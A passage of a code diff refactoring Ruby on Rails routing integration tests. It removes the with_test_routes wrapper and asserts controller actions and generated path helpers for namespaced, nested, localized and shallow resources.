+    assert_equal '/pt/projetos', pt_projects_path
+
+    get '/pt/projetos/1/editar'
+    assert_equal 'projects#edit', @response.body
+    assert_equal '/pt/projetos/1/editar', edit_pt_project_path(1)
+
+    get '/pt/administrador'
+    assert_equal 'admins#show', @response.body
+    assert_equal '/pt/administrador', pt_admin_path
+
+    get '/pt/administrador/novo'
+    assert_equal 'admins#new', @response.body
+    assert_equal '/pt/administrador/novo', new_pt_admin_path
+
+    put '/pt/administrador/ativar'
+    assert_equal 'admins#activate', @response.body
+    assert_equal '/pt/administrador/ativar', activate_pt_admin_path
   end
 
   def test_path_option_override
-    with_test_routes do
-      get '/pt/projetos/novo/abrir'
-      assert_equal 'projects#open', @response.body
-      assert_equal '/pt/projetos/novo/abrir', open_new_pt_project_path
-
-      put '/pt/projetos/1/fechar'
-      assert_equal 'projects#close', @response.body
-      assert_equal '/pt/projetos/1/fechar', close_pt_project_path(1)
-    end
+    get '/pt/projetos/novo/abrir'
+    assert_equal 'projects#open', @response.body
+    assert_equal '/pt/projetos/novo/abrir', open_new_pt_project_path
+
+    put '/pt/projetos/1/fechar'
+    assert_equal 'projects#close', @response.body
+    assert_equal '/pt/projetos/1/fechar', close_pt_project_path(1)
   end
 
   def test_sprockets
-    with_test_routes do
-      get '/sprockets.js'
-      assert_equal 'javascripts', @response.body
-    end
+    get '/sprockets.js'
+    assert_equal 'javascripts', @response.body
   end
 
   def test_update_person_route
-    with_test_routes do
-      get '/people/1/update'
-      assert_equal 'people#update', @response.body
+    get '/people/1/update'
+    assert_equal 'people#update', @response.body
 
-      assert_equal '/people/1/update', update_person_path(:id => 1)
-    end
+    assert_equal '/people/1/update', update_person_path(:id => 1)
   end
 
   def test_update_project_person
-    with_test_routes do
-      get '/projects/1/people/2/update'
-      assert_equal 'people#update', @response.body
+    get '/projects/1/people/2/update'
+    assert_equal 'people#update', @response.body
 
-      assert_equal '/projects/1/people/2/update', update_project_person_path(:project_id => 1, :id => 2)
-    end
+    assert_equal '/projects/1/people/2/update', update_project_person_path(:project_id => 1, :id => 2)
   end
 
   def test_forum_products
-    with_test_routes do
-      get '/forum'
-      assert_equal 'forum/products#index', @response.body
-      assert_equal '/forum', forum_products_path
-
-      get '/forum/basecamp'
-      assert_equal 'forum/products#show', @response.body
-      assert_equal '/forum/basecamp', forum_product_path(:id => 'basecamp')
-
-      get '/forum/basecamp/questions'
-      assert_equal 'forum/questions#index', @response.body
-      assert_equal '/forum/basecamp/questions', forum_product_questions_path(:product_id => 'basecamp')
-
-      get '/forum/basecamp/questions/1'
-      assert_equal 'forum/questions#show', @response.body
-      assert_equal '/forum/basecamp/questions/1', forum_product_question_path(:product_id => 'basecamp', :id => 1)
-    end
+    get '/forum'
+    assert_equal 'forum/products#index', @response.body
+    assert_equal '/forum', forum_products_path
+
+    get '/forum/basecamp'
+    assert_equal 'forum/products#show', @response.body
+    assert_equal '/forum/basecamp', forum_product_path(:id => 'basecamp')
+
+    get '/forum/basecamp/questions'
+    assert_equal 'forum/questions#index', @response.body
+    assert_equal '/forum/basecamp/questions', forum_product_questions_path(:product_id => 'basecamp')
+
+    get '/forum/basecamp/questions/1'
+    assert_equal 'forum/questions#show', @response.body
+    assert_equal '/forum/basecamp/questions/1', forum_product_question_path(:product_id => 'basecamp', :id => 1)
   end
 
   def test_articles_perma
-    with_test_routes do
-      get '/articles/2009/08/18/rails-3'
-      assert_equal 'articles#show', @response.body
+    get '/articles/2009/08/18/rails-3'
+    assert_equal 'articles#show', @response.body
 
-      assert_equal '/articles/2009/8/18/rails-3', article_path(:year => 2009, :month => 8, :day => 18, :title => 'rails-3')
-    end
+    assert_equal '/articles/2009/8/18/rails-3', article_path(:year => 2009, :month => 8, :day => 18, :title => 'rails-3')
   end
 
   def test_account_namespace
-    with_test_routes do
-      get '/account/subscription'
-      assert_equal 'account/subscriptions#show', @response.body
-      assert_equal '/account/subscription', account_subscription_path
-
-      get '/account/credit'
-      assert_equal 'account/credits#show', @response.body
-      assert_equal '/account/credit', account_credit_path
-
-      get '/account/credit_card'
-      assert_equal 'account/credit_cards#show', @response.body
-      assert_equal '/account/credit_card', account_credit_card_path
-    end
+    get '/account/subscription'
+    assert_equal 'account/subscriptions#show', @response.body
+    assert_equal '/account/subscription', account_subscription_path
+
+    get '/account/credit'
+    assert_equal 'account/credits#show', @response.body
+    assert_equal '/account/credit', account_credit_path
+
+    get '/account/credit_card'
+    assert_equal 'account/credit_cards#show', @response.body
+    assert_equal '/account/credit_card', account_credit_card_path
   end
 
   def test_nested_namespace
-    with_test_routes do
-      get '/account/admin/subscription'
-      assert_equal 'account/admin/subscriptions#show', @response.body
-      assert_equal '/account/admin/subscription', account_admin_subscription_path
-    end
+    get '/account/admin/subscription'
+    assert_equal 'account/admin/subscriptions#show', @response.body
+    assert_equal '/account/admin/subscription', account_admin_subscription_path
   end
 
   def test_namespace_nested_in_resources
-    with_test_routes do
-      get '/clients/1/google/account'
-      assert_equal '/clients/1/google/account', client_google_account_path(1)
-      assert_equal 'google/accounts#show', @response.body
-
-      get '/clients/1/google/account/secret/info'
-      assert_equal '/clients/1/google/account/secret/info', client_google_account_secret_info_path(1)
-      assert_equal 'google/secret/infos#show', @response.body
-    end
+    get '/clients/1/google/account'
+    assert_equal '/clients/1/google/account', client_google_account_path(1)
+    assert_equal 'google/accounts#show', @response.body
+
+    get '/clients/1/google/account/secret/info'
+    assert_equal '/clients/1/google/account/secret/info', client_google_account_secret_info_path(1)
+    assert_equal 'google/secret/infos#show', @response.body
   end
 
   def test_namespace_with_options
-    with_test_routes do
-      get '/usuarios'
-      assert_equal '/usuarios', users_root_path
-      assert_equal 'users/home#index', @response.body
-    end
+    get '/usuarios'
+    assert_equal '/usuarios', users_root_path
+    assert_equal 'users/home#index', @response.body
   end
 
   def test_articles_with_id
-    with_test_routes do
-      get '/articles/rails/1'
-      assert_equal 'articles#with_id', @response.body
+    get '/articles/rails/1'
+    assert_equal 'articles#with_id', @response.body
 
-      get '/articles/123/1'
-      assert_equal 'pass', @response.headers['X-Cascade']
+    get '/articles/123/1'
+    assert_equal 'pass', @response.headers['X-Cascade']
 
-      assert_equal '/articles/rails/1', article_with_title_path(:title => 'rails', :id => 1)
-    end
+    assert_equal '/articles/rails/1', article_with_title_path(:title => 'rails', :id => 1)
   end
 
   def test_access_token_rooms
-    with_test_routes do
-      get '/12345/rooms'
-      assert_equal 'rooms#index', @response.body
+    get '/12345/rooms'
+    assert_equal 'rooms#index', @response.body
 
-      get '/12345/rooms/1'
-      assert_equal 'rooms#show', @response.body
+    get '/12345/rooms/1'
+    assert_equal 'rooms#show', @response.body
 
-      get '/12345/rooms/1/edit'
-      assert_equal 'rooms#edit', @response.body
-    end
+    get '/12345/rooms/1/edit'
+    assert_equal 'rooms#edit', @response.body
   end
 
   def test_root
-    with_test_routes do
-      assert_equal '/', root_path
-      get '/'
-      assert_equal 'projects#index', @response.body
-    end
+    assert_equal '/', root_path
+    get '/'
+    assert_equal 'projects#index', @response.body
   end
 
   def test_index
-    with_test_routes do
-      assert_equal '/info', info_path
-      get '/info'
-      assert_equal 'projects#info', @response.body
-    end
+    assert_equal '/info', info_path
+    get '/info'
+    assert_equal 'projects#info', @response.body
   end
 
   def test_match_shorthand_with_no_scope
-    with_test_routes do
-      assert_equal '/account/overview', account_overview_path
-      get '/account/overview'
-      assert_equal 'account#overview', @response.body
-    end
+    assert_equal '/account/overview', account_overview_path
+    get '/account/overview'
+    assert_equal 'account#overview', @response.body
   end
 
   def test_match_shorthand_inside_namespace
-    with_test_routes do
-      assert_equal '/account/shorthand', account_shorthand_path
-      get '/account/shorthand'
-      assert_equal 'account#shorthand', @response.body
-    end
+    assert_equal '/account/shorthand', account_shorthand_path
+    get '/account/shorthand'
+    assert_equal 'account#shorthand', @response.body
   end
 
   def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_url_helper
-    with_test_routes do
-      assert_equal '/replies', replies_path
-    end
+    assert_equal '/replies', replies_path
   end
 
   def test_scoped_controller_with_namespace_and_action
-    with_test_routes do
-      assert_equal '/account/twitter/callback', account_callback_path("twitter")
-      get '/account/twitter/callback'
-      assert_equal 'account/callbacks#twitter', @response.body
+    assert_equal '/account/twitter/callback', account_callback_path("twitter")
+    get '/account/twitter/callback'
+    assert_equal 'account/callbacks#twitter', @response.body
 
-      get '/account/whatever/callback'
-      assert_equal 'Not Found', @response.body
-    end
+    get '/account/whatever/callback'
+    assert_equal 'Not Found', @response.body
   end
 
   def test_convention_match_nested_and_with_leading_slash
-    with_test_routes do
-      assert_equal '/account/nested/overview', account_nested_overview_path
-      get '/account/nested/overview'
-      assert_equal 'account/nested#overview', @response.body
-    end
+    assert_equal '/account/nested/overview', account_nested_overview_path
+    get '/account/nested/overview'
+    assert_equal 'account/nested#overview', @response.body
   end
 
   def test_convention_with_explicit_end
-    with_test_routes do
-      get '/sign_in'
-      assert_equal 'sessions#new', @response.body
-      assert_equal '/sign_in', sign_in_path
-    end
+    get '/sign_in'
+    assert_equal 'sessions#new', @response.body
+    assert_equal '/sign_in', sign_in_path
   end
 
   def test_redirect_with_complete_url_and_status
-    with_test_routes do
-      get '/account/google'
-      verify_redirect 'http://www.google.com/', 302
-    end
+    get '/account/google'
+    verify_redirect 'http://www.google.com/', 302
   end
 
   def test_redirect_with_port
     previous_host, self.host = self.host, 'www.example.com:3000'
-    with_test_routes do
-      get '/account/login'
-      verify_redirect 'http://www.example.com:3000/login'
-    end
+
+    get '/account/login'
+    verify_redirect 'http://www.example.com:3000/login'
   ensure
     self.host = previous_host
   end
 
   def test_normalize_namespaced_matches
-    with_test_routes do
-      assert_equal '/account/description', account_description_path
+    assert_equal '/account/description', account_description_path
 
-      get '/account/description'
-      assert_equal 'account#description', @response.body
-    end
+    get '/account/description'
+    assert_equal 'account#description', @response.body
   end
 
   def test_namespaced_roots
-    with_test_routes do
-      assert_equal '/account', account_root_path
-      get '/account'
-      assert_equal 'account/account#index', @response.body
-    end
+    assert_equal '/account', account_root_path
+    get '/account'
+    assert_equal 'account/account#index', @response.body
   end
 
   def test_optional_scoped_root
-    with_test_routes do
-      assert_equal '/en', root_path("en")
-      get '/en'
-      assert_equal 'projects#index', @response.body
-    end
+    assert_equal '/en', root_path("en")
+    get '/en'
+    assert_equal 'projects#index', @response.body
   end
 
   def test_optional_scoped_path
-    with_test_routes do
-      assert_equal '/en/descriptions', descriptions_path("en")
-      assert_equal '/descriptions', descriptions_path(nil)
-      assert_equal '/en/descriptions/1', description_path("en", 1)
-      assert_equal '/descriptions/1', description_path(nil, 1)
+    assert_equal '/en/descriptions', descriptions_path("en")
+    assert_equal '/descriptions', descriptions_path(nil)
+    assert_equal '/en/descriptions/1', description_path("en", 1)
+    assert_equal '/descriptions/1', description_path(nil, 1)
 
-      get '/en/descriptions'
-      assert_equal 'descriptions#index', @response.body
+    get '/en/descriptions'
+    assert_equal 'descriptions#index', @response.body
 
-      get '/descriptions'
-      assert_equal 'descriptions#index', @response.body
+    get '/descriptions'
+    assert_equal 'descriptions#index', @response.body
 
-      get '/en/descriptions/1'
-      assert_equal 'descriptions#show', @response.body
+    get '/en/descriptions/1'
+    assert_equal 'descriptions#show', @response.body
 
-      get '/descriptions/1'
-      assert_equal 'descriptions#show', @response.body
-    end
+    get '/descriptions/1'
+    assert_equal 'descriptions#show', @response.body
   end
 
   def test_nested_optional_scoped_path
-    with_test_routes do
-      assert_equal '/admin/en/descriptions', admin_descriptions_path("en")
-      assert_equal '/admin/descriptions', admin_descriptions_path(nil)
-      assert_equal '/admin/en/descriptions/1', admin_description_path("en", 1)
-      assert_equal '/admin/descriptions/1', admin_description_path(nil, 1)
+    assert_equal '/admin/en/descriptions', admin_descriptions_path("en")
+    assert_equal '/admin/descriptions', admin_descriptions_path(nil)
+    assert_equal '/admin/en/descriptions/1', admin_description_path("en", 1)
+    assert_equal '/admin/descriptions/1', admin_description_path(nil, 1)
 
-      get '/admin/en/descriptions'
-      assert_equal 'admin/descriptions#index', @response.body
+    get '/admin/en/descriptions'
+    assert_equal 'admin/descriptions#index', @response.body
 
-      get '/admin/descriptions'
-      assert_equal 'admin/descriptions#index', @response.body
+    get '/admin/descriptions'
+    assert_equal 'admin/descriptions#index', @response.body
 
-      get '/admin/en/descriptions/1'
-      assert_equal 'admin/descriptions#show', @response.body
+    get '/admin/en/descriptions/1'
+    assert_equal 'admin/descriptions#show', @response.body
 
-      get '/admin/descriptions/1'
-      assert_equal 'admin/descriptions#show', @response.body
-    end
+    get '/admin/descriptions/1'
+    assert_equal 'admin/descriptions#show', @response.body
   end
 
   def test_nested_optional_path_shorthand
-    with_test_routes do
-      get '/registrations/new'
-      assert @request.params[:locale].nil?
+    get '/registrations/new'
+    assert_nil @request.params[:locale]
 
-      get '/en/registrations/new'
-      assert 'en', @request.params[:locale]
-    end
+    get '/en/registrations/new'
+    assert_equal 'en', @request.params[:locale]
   end
 
   def test_default_params
-    with_test_routes do
-      get '/inline_pages'
-      assert_equal 'home', @request.params[:id]
+    get '/inline_pages'
+    assert_equal 'home', @request.params[:id]
 
-      get '/default_pages'
-      assert_equal 'home', @request.params[:id]
+    get '/default_pages'
+    assert_equal 'home', @request.params[:id]
 
-      get '/scoped_pages'
-      assert_equal 'home', @request.params[:id]
-    end
+    get '/scoped_pages'
+    assert_equal 'home', @request.params[:id]
   end
 
   def test_resource_constraints
-    with_test_routes do
-      get '/products/1'
-      assert_equal 'pass', @response.headers['X-Cascade']
-      get '/products'
-      assert_equal 'products#root', @response.body
-      get '/products/favorite'
-      assert_equal 'products#favorite', @response.body
-      get '/products/0001'
-      assert_equal 'products#show', @response.body
-
-      get '/products/1/images'
-      assert_equal 'pass', @response.headers['X-Cascade']
-      get '/products/0001/images'
-      assert_equal 'images#index', @response.body
-      get '/products/0001/images/0001'
-      assert_equal 'images#show', @response.body
-
-      get '/dashboard', {}, {'REMOTE_ADDR' => '10.0.0.100'}
-      assert_equal 'pass', @response.headers['X-Cascade']
-      get '/dashboard', {}, {'REMOTE_ADDR' => '192.168.1.100'}
-      assert_equal 'dashboards#show', @response.body
-    end
+    get '/products/1'
+    assert_equal 'pass', @response.headers['X-Cascade']
+    get '/products'
+    assert_equal 'products#root', @response.body
+    get '/products/favorite'
+    assert_equal 'products#favorite', @response.body
+    get '/products/0001'
+    assert_equal 'products#show', @response.body
+
+    get '/products/1/images'
+    assert_equal 'pass', @response.headers['X-Cascade']
+    get '/products/0001/images'
+    assert_equal 'images#index', @response.body
+    get '/products/0001/images/0001'
+    assert_equal 'images#show', @response.body
+
+    get '/dashboard', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    assert_equal 'pass', @response.headers['X-Cascade']
+    get '/dashboard', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    assert_equal 'dashboards#show', @response.body
   end
 
   def test_root_works_in_the_resources_scope
@@ -1527,731 +1425,651 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   end
 
   def test_module_scope
-    with_test_routes do
-      get '/token'
-      assert_equal 'api/tokens#show', @response.body
-      assert_equal '/token', token_path
-    end
+    get '/token'
+    assert_equal 'api/tokens#show', @response.body
+    assert_equal '/token', token_path
   end
 
   def test_path_scope
-    with_test_routes do
-      get '/api/me'
-      assert_equal 'mes#show', @response.body
-      assert_equal '/api/me', me_path
+    get '/api/me'
+    assert_equal 'mes#show', @response.body
+    assert_equal '/api/me', me_path
 
-      get '/api'
-      assert_equal 'mes#index', @response.body
-    end
+    get '/api'
+    assert_equal 'mes#index', @response.body
   end
 
   def test_url_generator_for_generic_route
-    with_test_routes do
-      get 'whatever/foo/bar'
-      assert_equal 'foo#bar', @response.body
+    get 'whatever/foo/bar'
+    assert_equal 'foo#bar', @response.body
 
-      assert_equal 'http://www.example.com/whatever/foo/bar/1',
-        url_for(:controller => "foo", :action => "bar", :id => 1)
-    end
+    assert_equal 'http://www.example.com/whatever/foo/bar/1',
+      url_for(:controller => "foo", :action => "bar", :id => 1)
   end
 
   def test_url_generator_for_namespaced_generic_route
-    with_test_routes do
-      get 'whatever/foo/bar/show'
-      assert_equal 'foo/bar#show', @response.body
+    get 'whatever/foo/bar/show'
+    assert_equal 'foo/bar#show', @response.body
 
-      get 'whatever/foo/bar/show/1'
-      assert_equal 'foo/bar#show', @response.body
+    get 'whatever/foo/bar/show/1'
+    assert_equal 'foo/bar#show', @response.body
 
-      assert_equal 'http://www.example.com/whatever/foo/bar/show',
-        url_for(:controller => "foo/bar", :action => "show")
+    assert_equal 'http://www.example.com/whatever/foo/bar/show',
+      url_for(:controller => "foo/bar", :action => "show")
 
-      assert_equal 'http://www.example.com/whatever/foo/bar/show/1',
-        url_for(:controller => "foo/bar", :action => "show", :id => '1')
-    end
+    assert_equal 'http://www.example.com/whatever/foo/bar/show/1',
+      url_for(:controller => "foo/bar", :action => "show", :id => '1')
   end
 
   def test_assert_recognizes_account_overview
-    with_test_routes do
-      assert_recognizes({:controller => "account", :action => "overview"}, "/account/overview")
-    end
+    assert_recognizes({:controller => "account", :action => "overview"}, "/account/overview")
   end
 
   def test_resource_new_actions
-    with_test_routes do
-      assert_equal '/replies/new/preview', preview_new_reply_path
-      assert_equal '/pt/projetos/novo/preview', preview_new_pt_project_path
-      assert_equal '/pt/administrador/novo/preview', preview_new_pt_admin_path
-      assert_equal '/pt/products/novo/preview', preview_new_pt_product_path
-      assert_equal '/profile/new/preview', preview_new_profile_path
+    assert_equal '/replies/new/preview', preview_new_reply_path
+    assert_equal '/pt/projetos/novo/preview', preview_new_pt_project_path
+    assert_equal '/pt/administrador/novo/preview', preview_new_pt_admin_path
+    assert_equal '/pt/products/novo/preview', preview_new_pt_product_path
+    assert_equal '/profile/new/preview', preview_new_profile_path
 
-      post '/replies/new/preview'
-      assert_equal 'replies#preview', @response.body
+    post '/replies/new/preview'
+    assert_equal 'replies#preview', @response.body
 
-      post '/pt/projetos/novo/preview'
-      assert_equal 'projects#preview', @response.body
+    post '/pt/projetos/novo/preview'
+    assert_equal 'projects#preview', @response.body
 
-      post '/pt/administrador/novo/preview'
-      assert_equal 'admins#preview', @response.body
+    post '/pt/administrador/novo/preview'
+    assert_equal 'admins#preview', @response.body
 
-      post '/pt/products/novo/preview'
-      assert_equal 'products#preview', @response.body
+    post '/pt/products/novo/preview'
+    assert_equal 'products#preview', @response.body
 
-      post '/profile/new/preview'
-      assert_equal 'profiles#preview', @response.body
-    end
+    post '/profile/new/preview'
+    assert_equal 'profiles#preview', @response.body
   end
 
   def test_resource_merges_options_from_scope
-    with_test_routes do
-      assert_raise(NameError) { new_account_path }
+    assert_raise(NameError) { new_account_path }
 
-      get '/account/new'
-      assert_equal 404, status
-    end
+    get '/account/new'
+    assert_equal 404, status
   end
 
   def test_resources_merges_options_from_scope
-    with_test_routes do
-      assert_raise(NoMethodError) { edit_product_path('1') }
+    assert_raise(NoMethodError) { edit_product_path('1') }
 
-      get '/products/1/edit'
-      assert_equal 404, status
+    get '/products/1/edit'
+    assert_equal 404, status
 
-      assert_raise(NoMethodError) { edit_product_image_path('1', '2') }
+    assert_raise(NoMethodError) { edit_product_image_path('1', '2') }
 
-      post '/products/1/images/2/edit'
-      assert_equal 404, status
-    end
+    post '/products/1/images/2/edit'
+    assert_equal 404, status
   end
 
   def test_shallow_nested_resources
-    with_test_routes do
+    get '/api/teams'
+    assert_equal 'api/teams#index', @response.body
+    assert_equal '/api/teams', api_teams_path
 
-      get '/api/teams'
-      assert_equal 'api/teams#index', @response.body
-      assert_equal '/api/teams', api_teams_path
+    get '/api/teams/new'
+    assert_equal 'api/teams#new', @response.body
+    assert_equal '/api/teams/new', new_api_team_path
 
-      get '/api/teams/new'
-      assert_equal 'api/teams#new', @response.body
-      assert_equal '/api/teams/new', new_api_team_path
+    get '/api/teams/1'
+    assert_equal 'api/teams#show', @response.body
+    assert_equal '/api/teams/1', api_team_path(:id => '1')
 
-      get '/api/teams/1'
-      assert_equal 'api/teams#show', @response.body
-      assert_equal '/api/teams/1', api_team_path(:id => '1')
+    get '/api/teams/1/edit'
+    assert_equal 'api/teams#edit', @response.body
+    assert_equal '/api/teams/1/edit', edit_api_team_path(:id => '1')
 
-      get '/api/teams/1/edit'
-      assert_equal 'api/teams#edit', @response.body
-      assert_equal '/api/teams/1/edit', edit_api_team_path(:id => '1')
+    get '/api/teams/1/players'
+    assert_equal 'api/players#index', @response.body
+    assert_equal '/api/teams/1/players', api_team_players_path(:team_id => '1')
 
-      get '/api/teams/1/players'
-      assert_equal 'api/players#index', @response.body
-      assert_equal '/api/teams/1/players', api_team_players_path(:team_id => '1')
+    get '/api/teams/1/players/new'
+    assert_equal 'api/players#new', @response.body
+    assert_equal '/api/teams/1/players/new', new_api_team_player_path(:team_id => '1')
 
-      get '/api/teams/1/players/new'
-      assert_equal 'api/players#new', @response.body
-      assert_equal '/api/teams/1/players/new', new_api_team_player_path(:team_id => '1')
+    get '/api/players/2'
+    assert_equal 'api/players#show', @response.body
+    assert_equal '/api/players/2', api_player_path(:id => '2')
 
-      get '/api/players/2'
-      assert_equal 'api/players#show', @response.body
-      assert_equal '/api/players/2', api_player_path(:id => '2')
+    get '/api/players/2/edit'
+    assert_equal 'api/players#edit', @response.body
+    assert_equal '/api/players/2/edit', edit_api_player_path(:id => '2')
 
-      get '/api/players/2/edit'
-      assert_equal 'api/players#edit', @response.body
-      assert_equal '/api/players/2/edit', edit_api_player_path(:id => '2')
+    get '/api/teams/1/captain'
+    assert_equal 'api/captains#show', @response.body
+    assert_equal '/api/teams/1/captain', api_team_captain_path(:team_id => '1')
 
-      get '/api/teams/1/captain'
-      assert_equal 'api/captains#show', @response.body
-      assert_equal '/api/teams/1/captain', api_team_captain_path(:team_id => '1')
+    get '/api/teams/1/captain/new'
+    assert_equal 'api/captains#new', @response.body
+    assert_equal '/api/teams/1/captain/new', new_api_team_captain_path(:team_id => '1')
 
-      get '/api/teams/1/captain/new'
-      assert_equal 'api/captains#new', @response.body
-      assert_equal '/api/teams/1/captain/new', new_api_team_captain_path(:team_id => '1')
+    get '/api/teams/1/captain/edit'
+    assert_equal 'api/captains#edit', @response.body
+    assert_equal '/api/teams/1/captain/edit', edit_api_team_captain_path(:team_id => '1')
 
-      get '/api/teams/1/captain/edit'
-      assert_equal 'api/captains#edit', @response.body
-      assert_equal '/api/teams/1/captain/edit', edit_api_team_captain_path(:team_id => '1')
+    get '/threads'
+    assert_equal 'threads#index', @response.body
+    assert_equal '/threads', threads_path
 
-      get '/threads'
-      assert_equal 'threads#index', @response.body
-      assert_equal '/threads', threads_path
+    get '/threads/new'
+    assert_equal 'threads#new', @response.body
+    assert_equal '/threads/new', new_thread_path
 
-      get '/threads/new'
-      assert_equal 'threads#new', @response.body
-      assert_equal '/threads/new', new_thread_path
+    get '/threads/1'
+    assert_equal 'threads#show', @response.body
+    assert_equal '/threads/1', thread_path(:id => '1')
 
-      get '/threads/1'
-      assert_equal 'threads#show', @response.body
-      assert_equal '/threads/1', thread_path(:id => '1')
+    get '/threads/1/edit'
+    assert_equal 'threads#edit', @response.body
+    assert_equal '/threads/1/edit', edit_thread_path(:id => '1')
 
-      get '/threads/1/edit'
-      assert_equal 'threads#edit', @response.body
-      assert_equal '/threads/1/edit', edit_thread_path(:id => '1')
+    get '/threads/1/owner'
+    assert_equal 'owners#show', @response.body
+    assert_equal '/threads/1/owner', thread_owner_path(:thread_id => '1')
 
-      get '/threads/1/owner'
-      assert_equal 'owners#show', @response.body
-      assert_equal '/threads/1/owner', thread_owner_path(:thread_id => '1')
+    get '/threads/1/messages'
+    assert_equal 'messages#index', @response.body
+    assert_equal '/threads/1/messages', thread_messages_path(:thread_id => '1')
 
-      get '/threads/1/messages'
-      assert_equal 'messages#index', @response.body
-      assert_equal '/threads/1/messages', thread_messages_path(:thread_id => '1')
+    get '/threads/1/messages/new'
+    assert_equal 'messages#new', @response.body
+    assert_equal '/threads/1/messages/new', new_thread_message_path(:thread_id => '1')
 
-      get '/threads/1/messages/new'
-      assert_equal 'messages#new', @response.body
-      assert_equal '/threads/1/messages/new', new_thread_message_path(:thread_id => '1')
+    get '/messages/2'
+    assert_equal 'messages#show', @response.body
+    assert_equal '/messages/2', message_path(:id => '2')
 
-      get '/messages/2'
-      assert_equal 'messages#show', @response.body
-      assert_equal '/messages/2', message_path(:id => '2')
+    get '/messages/2/edit'
+    assert_equal 'messages#edit', @response.body
+    assert_equal '/messages/2/edit', edit_message_path(:id => '2')
 
-      get '/messages/2/edit'
-      assert_equal 'messages#edit', @response.body
-      assert_equal '/messages/2/edit', edit_message_path(:id => '2')
+    get '/messages/2/comments'
+    assert_equal 'comments#index', @response.body
+    assert_equal '/messages/2/comments', message_comments_path(:message_id => '2')
 
-      get '/messages/2/comments'
-      assert_equal 'comments#index', @response.body
-      assert_equal '/messages/2/comments', message_comments_path(:message_id => '2')
+    get '/messages/2/comments/new'
+    assert_equal 'comments#new', @response.body
+    assert_equal '/messages/2/comments/new', new_message_comment_path(:message_id => '2')
 
-      get '/messages/2/comments/new'
-      assert_equal 'comments#new', @response.body
-      assert_equal '/messages/2/comments/new', new_message_comment_path(:message_id => '2')
+    get '/comments/3'
+    assert_equal 'comments#show', @response.body
+    assert_equal '/comments/3', comment_path(:id => '3')
 
-      get '/comments/3'
-      assert_equal 'comments#show', @response.body
-      assert_equal '/comments/3', comment_path(:id => '3')
+    get '/comments/3/edit'
+    assert_equal 'comments#edit', @response.body
+    assert_equal '/comments/3/edit', edit_comment_path(:id => '3')
 
-      get '/comments/3/edit'
-      assert_equal 'comments#edit', @response.body
-      assert_equal '/comments/3/edit', edit_comment_path(:id => '3')
-
-      post '/comments/3/preview'
-      assert_equal 'comments#preview', @response.body
-      assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
-    end
+    post '/comments/3/preview'
+    assert_equal 'comments#preview', @response.body
+    assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
   end
 
   def test_shallow_nested_resources_within_scope
-    with_test_routes do
+    get '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#index', @response.body
+    assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
 
-      get '/hello/notes/1/trackbacks'
-      assert_equal 'trackbacks#index', @response.body
-      assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+    get '/hello/notes/1/edit'
+    assert_equal 'notes#edit', @response.body
+    assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
 
-      get '/hello/notes/1/edit'
-      assert_equal 'notes#edit', @response.body
-      assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+    get '/hello/notes/1/trackbacks/new'
+    assert_equal 'trackbacks#new', @response.body
+    assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
 
-      get '/hello/notes/1/trackbacks/new'
-      assert_equal 'trackbacks#new', @response.body
-      assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+    get '/hello/trackbacks/1'
+    assert_equal 'trackbacks#show', @response.body
+    assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
 
-      get '/hello/trackbacks/1'
-      assert_equal 'trackbacks#show', @response.body
-      assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+    get '/hello/trackbacks/1/edit'
+    assert_equal 'trackbacks#edit', @response.body
+    assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
 
-      get '/hello/trackbacks/1/edit'
-      assert_equal 'trackbacks#edit', @response.body
-      assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+    put '/hello/trackbacks/1'
+    assert_equal 'trackbacks#update', @response.body
 
-      put '/hello/trackbacks/1'
-      assert_equal 'trackbacks#update', @response.body
+    post '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#create', @response.body
 
-      post '/hello/notes/1/trackbacks'
-      assert_equal 'trackbacks#create', @response.body
+    delete '/hello/trackbacks/1'
+    assert_equal 'trackbacks#destroy', @response.body
 
-      delete '/hello/trackbacks/1'
-      assert_equal 'trackbacks#destroy', @response.body
+    get '/hello/notes'
+    assert_equal 'notes#index', @response.body
 
-      get '/hello/notes'
-      assert_equal 'notes#index', @response.body
+    post '/hello/notes'
+    assert_equal 'notes#create', @response.body
 
-      post '/hello/notes'
-      assert_equal 'notes#create', @response.body
+    get '/hello/notes/new'
+    assert_equal 'notes#new', @response.body
+    assert_equal '/hello/notes/new', new_note_path
 
-      get '/hello/notes/new'
-      assert_equal 'notes#new', @response.body
-      assert_equal '/hello/notes/new', new_note_path
+    get '/hello/notes/1'
+    assert_equal 'notes#show', @response.body
+    assert_equal '/hello/notes/1', note_path(:id => 1)
 
-      get '/hello/notes/1'
-      assert_equal 'notes#show', @response.body
-      assert_equal '/hello/notes/1', note_path(:id => 1)
+    put '/hello/notes/1'
+    assert_equal 'notes#update', @response.body
 
-      put '/hello/notes/1'
-      assert_equal 'notes#update', @response.body
-
-      delete '/hello/notes/1'
-      assert_equal 'notes#destroy', @response.body
-    end
+    delete '/hello/notes/1'
+    assert_equal 'notes#destroy', @response.body
   end
 
   def test_custom_resource_routes_are_scoped
-    with_test_routes do
-      assert_equal '/customers/recent', recent_customers_path
-      assert_equal '/customers/1/profile', profile_customer_path(:id => '1')
-      assert_equal '/customers/1/secret/profile', secret_profile_customer_path(:id => '1')
-      assert_equal '/customers/new/preview', another_preview_new_customer_path
-      assert_equal '/customers/1/avatar/thumbnail.jpg', thumbnail_customer_avatar_path(:customer_id => '1', :format => :jpg)
-      assert_equal '/customers/1/invoices/outstanding', outstanding_customer_invoices_path(:customer_id => '1')
-      assert_equal '/customers/1/invoices/2/print', print_customer_invoice_path(:customer_id => '1', :id => '2')
